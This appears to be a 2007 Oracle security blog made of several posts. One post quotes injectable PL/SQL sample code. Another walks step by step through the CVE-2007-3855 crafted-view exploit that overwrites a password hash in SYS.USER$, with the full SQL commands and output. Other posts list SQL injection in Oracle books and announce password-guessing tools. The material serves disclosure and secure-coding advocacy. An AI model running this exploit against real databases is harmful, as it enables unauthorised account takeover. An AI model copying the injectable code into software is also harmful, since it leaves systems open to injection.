31 Jul 2007 von Alexander Kornbrust.

You already know that I like to analyze other people’s code. On OTN I found a nice article (most popluar developer article) “Best Practice PL/SQL from Steven Feuerstein” (http://www.oracle.com/technology/pub/columns/plsql/index.html).
Steven Feuerstein is a well-known expert on the Oracle PL/SQL language. His disclaimer says that “Do not take the advice and recommendations herein at face value. You should always build yourself a test case and run it on your database, for your schema, on your computer.”  That’s OK but even (or especially) sample code should be secure. Disclaimers are a simple but not a good solution.
Especially if the code is posted as “Best Practice”.

The best practice contains some PL/SQL sample code for download, e.g. str2list.
“The str2list package accepts your string, delimiter, and the name of your package-based collection. It deposits the parsed items in your string directly into your collection. The collection can either be declared in the package specification (publicly accessible) or you can define it in the package body and then provide procedures to add to and delete from the collection. These will be called by str2list to populate the collection properly. It’s a useful utility as well as a great example of dynamic PL/SQL block execution.”
As always the same problem: no input-validation in some of the procedures (e.g. showlist or parse). This could allow an attacker to run custom PL/SQL code. PL/SQL injection is more severe than SQL Injection. I know that writing secure code takes time but I think it’s worth to do this, especially for sample code which is often used by many people. Just adding a disclaimer is in my opinion not the right way to deal with vulnerabilities.

A quick analysis of the code str2list.pkg (Source is from March 2005) shows the following vulnerable code:

—————— str2list.pkg ————————————————————
PROCEDURE showlist (
pkg            IN   VARCHAR2,
firstrowproc   IN   VARCHAR2,
nextrowproc    IN   VARCHAR2,
getvalfunc     IN   VARCHAR2,
showproc       IN   VARCHAR2 := ‘pl’,
datatype       IN   VARCHAR2 := ‘VARCHAR2(32767)’
)
IS
dynblock   VARCHAR2 (32767);
BEGIN
dynblock :=
‘DECLARE
indx PLS_INTEGER := ‘
|| pkg
|| ‘.’
|| firstrowproc
|| ‘;
v_startloc PLS_INTEGER := 1;
v_item ‘
|| datatype
|| ‘;
BEGIN
LOOP
EXIT WHEN indx IS NULL;’
|| showproc
|| ‘ (’
|| pkg
|| ‘.’
|| getvalfunc
|| ‘(indx));
indx := ‘
|| pkg
|| ‘.’
|| nextrowproc
|| ‘(indx);
END LOOP;
END;’;
EXECUTE IMMEDIATE dynblock;
EXCEPTION
WHEN OTHERS
THEN
disperr (dynblock);
END;—————— str2list.pkg ————————————————————

Geschrieben in Source Code Analysis, SQL Injection, source code audit, Oracle Security | 3 Kommentare »

22 Jul 2007 von Alexander Kornbrust.

Andrea Purificato has published an exploit for the Create-View-Problem (DB17 aka CVE-2007-3855, bug found by Red-Database-Security). This issue was fixed with the July 2007 CPU.

The exploit updates the password hash in SYS.USER$ via a specially crafted view. But the exploit from Andrea does not work without additional steps because it is not supported to modify password hashes via an update command.

Example:
– We calculate the password hashes for the user RDS and the passwords RDS and HACKED with the makepwd command.
c:\tools>makepwd.exe RDS RDS
B2ABF50FCECAE7CB

c:\tools>makepwd.exe RDS HACKED
7B843A192FF96BE9

– Now we connect to the database and update the password hash via a specially crafted view.

SQL> connect cpu/cpu
Connected.
SQL> create or replace view bunkerview as
2 select x.name,x.password from sys.user$ x left outer join sys.user$ y on
x.name=y.name;

View created.
SQL> update cpu.bunkerview set password=’7B843A192FF96BE9′ where name =’RDS’;

1 row updated.

SQL> commit;

Commit complete.

– The password is now changed to HACKED.

SQL> select password from sys.user$ where name=’RDS’;

PASSWORD
——————————
7B843A192FF96BE9

– But the connect attempt throws an error message…
SQL> connect rds/hacked
ERROR:
ORA-01017: invalid username/password; logon denied

Warning: You are no longer connected to ORACLE.

– To activate the password change it is necessary to restart the database.

C:\>sqlplus rds/hacked

SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jul 22 18:24:41 2007

Copyright (c) 1982, 2006, Oracle. All Rights Reserved.

Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining Scoring Engine options

SQL>

Geschrieben in Exploit, CPUJul2007, Oracle Security | 5 Kommentare »

17 Jul 2007 von Alexander Kornbrust.

Eric Maurice from Oracle Global Security wrote in his blog that this CPU comes with a new concept called molecule.

“The napply CPU is an enhanced CPU format for Oracle Database Server for Unix and Linux platforms version 10.2.0.3 and onward (including 10.2.0.4 and 11g).  In a napply CPU, the security fixes are now grouped in what are called molecules.  Each molecule in the CPU is independent, and does not conflict with other molecules in the CPU.  Conflicts between molecules occur when fixes included respectively in each molecule affect the same file or group of files.”

“The new CPU format will greatly simplify the patch conflict resolution procedures, thus providing for a quicker resolution of security vulnerabilities than was previously the case.“

Geschrieben in CPUJul2007, Oracle Security | Keine Kommentare »

17 Jul 2007 von Alexander Kornbrust.

The Oracle CPU July 2007 is out.

The CPU contains fixes for 46 Oracle vulnerabilities. Most of the vulnerabilities are coming from the usual suspects. Integrigy (8 of 14 EBusiness Suite vulns), Red-Database-Security (3 vulnerabilities), Argeniss, NGS, Joxean Koret. This time Imperva found also a vulnerability. Welcome to the usual suspects…
2 of Integrigy’s SQL Injection (Thanks to Steven Kost for the info) vulnerabilities are remote exploitable without authentication.

My vulnerabilities are a SQL Injection vulnerability in Apex (fixed with Apex 3.0.1), SQL Injection vulnerability in dbms_prvtaqis and a critical vulnerability in database views. The view bug is similar (but not identical) to bugs fixed with April 2006 and October 2006 . By using a specially crafted view it is possible to Insert/Update/Delete via database views.

More infos soon on the analysis webpage of Red-Database-Security.
The first advisories and an analysis of the Oracle CPU July 2007 are available on our website.
– Alex

Geschrieben in Oracle Security | 1 Kommentar »

13 Jul 2007 von Alexander Kornbrust.

Searchsecurity.com has some articles about Oracle security incidents. You can find them here and here.

DBAs are talking about a few incidents. Most of the incidents are never reported or never discovered.
After 2.3 million stolen from a DBA it’s time for companies and organizations to start thinking about Oracle security. A good starting point is a Oracle Security Training. We are offering training worldwide.

Geschrieben in Forensics, Oracle Security | Keine Kommentare »

12 Jul 2007 von Alexander Kornbrust.

Oracle announced on their webpage that the upcoming CPU will fix 46 vulnerabilities. 20 vulnerabilites in the database (including 1 bug in APEX). The APEX vulnerability is already fixed in APEX 3.0.1.

The highest CVSS rating for the 4.8 which is quite high.

Our upcoming vulnerabilities are available on our website.

More details next tuesday.

Geschrieben in CPUJul2007, Oracle Security | 1 Kommentar »

9 Jul 2007 von Alexander Kornbrust.

On Tom Kyte’s blog , Pete Finnigan’s blog and Sven Vetter’s blog there are comments about SQL Injection in a bank application.

I know that SQL Injection is a big problem and especially the vulnerability in this banking application was really severe. But in the real world most developers write (or at least wrote) unsecure code. Often they use (unsecure) samples from books. But who is writing the books?
Why do you blame this poor little bank. Don’t throw the first stone…
Let’s do some quick check how secure the code from other people or companies (e.g. intelligence agencies) is…
—-

Expert One-on-One by Tom Kyte from 2001. 2 years after SQL Injection became public.
p. 707:
create or replace
function update_row (p_owner in varchar2, p_newDname in varchar2, p_newLoc in varchar2, p_deptno in varchar2, p_rowid out varchar2)
return number
is
l_theCursor integer;
l_columnvalue number default NULL;
l_status integer;
l_update long;
begin
l_update := ‘update ‘ || p_owner || ‘.dept
set dname = :bv1, loc = :bv2
where deptno = to_number(:pk)
returning rowid into :out’;
l_theCursor := dbms_sql.open_cursor;
More code with SQL Injection (not complete I just skimmed through the book):

p710: execute immediate ’select count(*) from ‘||p_tname’
p710: execute immediate ‘update ‘||p_owner||’.dept…’

p712, p724, p726, p727, p728, p729, 1087. I stopped her…
—-
Oracle Database 10g - The complete reference by Kevin Loney

page 577

—

Oracle Security in der Praxis by Frank Haas (German Oracle Security Book from a nice and clever Oracle Consultant)

page 139, 140

—

Effective Oracle Database 10g Security by design by David C. Knox

page 30

—

Database Security Technical Implementation Guide STIG V7.2, by the DISA (Defense Information Systems Agency responsible for DOD systems)
page 186 plus some more
—

Trivadis.com

PDF-file DBMS_SYS_SQL..PARSE_AS_USER:

page 1,2,4

—

Will be continued…

Geschrieben in SQL Injection, source code audit, Oracle Security | 1 Kommentar »

2 Jul 2007 von Alexander Kornbrust.

I just uploaded checkpwd 1.23 and sidguess for Mac OSX. The executables are for PPC only because Oracle has only a PPC version of the Oracle Instant Client.

Checkpwd

Sidguess

Geschrieben in Oracle Security | Keine Kommentare »